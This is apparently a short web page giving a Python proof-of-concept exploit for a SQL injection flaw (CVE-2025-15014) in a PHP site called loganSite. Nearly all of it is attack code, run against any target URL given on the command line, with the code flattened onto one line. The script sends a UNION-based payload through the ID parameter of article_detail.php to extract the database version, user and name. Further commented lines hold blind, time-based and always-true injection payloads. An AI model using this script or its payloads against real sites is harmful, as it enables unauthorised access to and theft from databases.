CVE-2025-15014 loganhong php loganSite SQL注入漏洞

import requests import sys # CVE-2025-15014 SQL Injection PoC # Target: loganhong php loganSite # File: /includes/article_detail.php # Parameter: ID def exploit_sqli(target_url, payload): """ SQL Injection Exploitation """ # Construct malicious URL vuln_url = f"{target_url}/includes/article_detail.php" # Test payload for boolean-based blind SQL injection # Original ID parameter is manipulated with SQL injection params = { 'ID': payload } try: response = requests.get(vuln_url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15014.py <target_url>") print("Example: python cve-2025-15014.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Basic test payload - extract database version # This payload uses UNION-based injection technique payload = "1' UNION SELECT NULL,version(),user(),database()-- -" print(f"[*] Targeting: {target}") print(f"[*] Testing SQL Injection with payload: {payload}") response = exploit_sqli(target, payload) if response and response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Exploitation failed or target not vulnerable") if __name__ == "__main__": main() # Additional blind SQL injection test payload # payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- - # payload = "1' OR '1'='1"